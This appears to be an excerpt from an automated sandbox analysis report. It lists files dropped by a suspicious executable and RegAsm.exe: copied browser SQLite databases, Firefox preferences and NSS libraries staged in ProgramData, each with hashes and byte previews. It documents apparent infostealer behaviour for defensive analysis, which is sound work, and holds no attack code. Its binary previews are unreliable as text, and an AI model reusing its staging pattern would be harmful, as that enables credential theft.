....,.2#_..9..d.{..(.b.....;SHA.Q.....E..t..Z?...E-...R..P.QK.Q@.E-%..R.%.(c2K"F..1....+.o.x}$1E.Ey7x.......1..15..../.j..4......`..n.Y...J..zu.....R?.....m..L.

C:\ProgramData\AEBGHDBKEBGIDHJJEHCAECBKJE

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAEGHIJEHJDHIDHIDAEH

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\AEHIJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\AKFIDH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\BAAFIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\BKKJKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0671530580287119
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTJnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumY/Un6:QrzWMffVnzkkqtXnTK+hNH+5EVumL
MD5:	AE3E7A509EDB5B7E46F851CB5AB7587D
SHA1:	461F516F194F6304E275AD1BB4C8275CA2C34F6C
SHA-256:	C8656BE4BA2FAAA6C2372915EF86F507A819CE60EAE345BFC1FB885E70A21624
SHA-512:	C7C2590FF23890F7317290E66C49D7A53C9D20BE965A76DCEC6D9A129CB3BFFF07B55E28D69D79799E476E6F4F6AD5B9CD67C55126E84A1CB18AF09C246B6122
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\GDAECA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\GHCAKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\HCAFIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\HCAFIJ-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\HJDHCF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\IECAFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\IECAFH-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\KEGCBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CBFIIEHJDBKJ\KFCFBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJ\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBAEGCGCGIEGDHIDHJJEHDGHIE

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Reputation:	unknown
